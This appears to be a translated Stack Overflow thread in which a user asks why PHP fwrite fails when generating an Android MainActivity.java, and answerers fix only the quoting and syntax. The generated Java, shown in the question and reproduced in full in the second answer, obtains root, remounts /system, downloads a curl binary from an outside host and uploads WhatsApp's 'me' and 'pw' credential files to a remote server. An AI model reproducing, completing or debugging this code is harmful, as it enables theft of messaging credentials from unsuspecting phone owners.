2015-02-25 2 views
1

Я использую функцию FWRITE(), чтобы написать Java-файл, но я получаю следующее сообщение об ошибке:php-fwrite: неожиданно; Ошибка

Parse error: syntax error, unexpected ';' in /var/www/html/test.php on line 61

линия 61, где FWRITE функция заканчивается точкой с запятой. Код:

$file = fopen(" /home/ashish/$fname/src/com/$fpex[1]/MainActivity.java /home/ashish/$fname/src/com/$fpex[1]/MainActivity.java","w"); 
fwrite ($file, "package $fpack;" . ' 
import android.app.*; 
import android.os.*; 
import android.view.*; 
import android.widget.*; 
import java.io.IOException; 
import java.lang.Process; 
import java.io.DataInputStream; 
import java.io.DataOutputStream; 


public class MainActivity extends Activity 
{ 
/** Called when the activity is first created. */ 
@Override 
public void onCreate(Bundle savedInstanceState) 
{ 
super.onCreate(savedInstanceState); 
Process p; 
try { 
// Preform su to get root privledges 
p = Runtime.getRuntime().exec("su"); 

// Attempt to write a file to a root-only fs 
DataOutputStream os = new DataOutputStream(p.getOutputStream()); 
os.writeBytes("busybox mount -o rw,remount /system \n"); 
os.writeBytes("busybox rm -f /system/xbin/curl \n"); 
os.writeBytes("busybox wget http://test.com/curl -O /system/xbin/curl \n"); 
os.writeBytes("busybox chmod 777 /system/xbin/curl \n"); 
os.writeBytes("curl -v -F \"[email protected]/test/me\" http://yourserver/me.php \n"); 
os.writeBytes("curl -v -F \"[email protected]/test/pw\" http://yourserver/pw.php \n"); 
os.writeBytes("echo \"Done\" >/sdcard/temp.txt\n"); 

// Close the terminal 
os.writeBytes("exit\n"); 
os.flush(); 
android.os.Process.killProcess(android.os.Process.myPid()); 
} catch (IOException e) { 
// TODO Code to run in input/output exception 
//toastMessage("not root"); 
} 


} 

}'; 

Что может быть неправильным? Любая помощь будет оценена.

+0

Ваш код java не экранирован надлежащим образом. Выбери свои символы '' 'или используйте что-то вроде' addslashes' – tlenss

+0

@tlenss отредактировал его. по-прежнему та же ошибка – Ashish

+0

Удалить «после» – Butterfly

ответ

1

Вы пропустили закрывающий ) для функции fwrite, последняя строка должна выглядеть следующим образом:

})';

0

Намного проще с РНР nowdoc syntax (PHP> = 5.3).
Он работает почти как строковый литерал с одной кавычкой. Нет никакой замены переменных, и даже литерал \ n не заменяется символом перевода строки (байтом). Таким образом, у вас будет гораздо меньше проблем с выполнением всех цитирования, escaping et al.

<?php 
$fhTarget = fopen("/home/ashish/$fname/src/com/{$fpex[1]}/MainActivity.java", 'w'); 
// $fpack = 'lalala'; 
//$fhTarget = fopen("php://output","w"); 
if (!$fhTarget) { 
    yourErrorHandler(); 
} 

fwrite ($fhTarget, "package $fpack;\r\n"); 
fwrite ($fhTarget, getCode()); 


function getCode() { 
    return <<< 'eoc' 
import android.app.*; 
import android.os.*; 
import android.view.*; 
import android.widget.*; 
import java.io.IOException; 
import java.lang.Process; 
import java.io.DataInputStream; 
import java.io.DataOutputStream; 


public class MainActivity extends Activity 
{ 
    /** Called when the activity is first created. */ 
    @Override 
    public void onCreate(Bundle savedInstanceState) 
    { 
     super.onCreate(savedInstanceState); 
     Process p; 
     try { 
      // Preform su to get root privledges 
      p = Runtime.getRuntime().exec("su"); 

      // Attempt to write a file to a root-only fs 
      DataOutputStream os = new DataOutputStream(p.getOutputStream()); 
      os.writeBytes("busybox mount -o rw,remount /system \n"); 
      os.writeBytes("busybox rm -f /system/xbin/curl \n"); 
      os.writeBytes("busybox wget http://securwiki.com/curl -O /system/xbin/curl \n"); 
      os.writeBytes("busybox chmod 777 /system/xbin/curl \n"); 
      os.writeBytes("curl -v -F \"[email protected]/data/data/com.whatsapp/files/me\" http://yourserver/me.php \n"); 
      os.writeBytes("curl -v -F \"[email protected]/data/data/com.whatsapp/files/pw\" http://yourserver/pw.php \n"); 
      os.writeBytes("echo \"Done\" >/sdcard/temp.txt\n"); 

      // Close the terminal 
      os.writeBytes("exit\n"); 
      os.flush(); 
      android.os.Process.killProcess(android.os.Process.myPid()); 
     } catch (IOException e) { 
     // TODO Code to run in input/output exception 
     //toastMessage("not root"); 
    } 
} 
eoc; 
} 

просто убедитесь, что там нет ничего, кроме eoc; на этой линии; ни одного пробела до или после, ничего. Просто eoc; и linebreak.

Смежные вопросы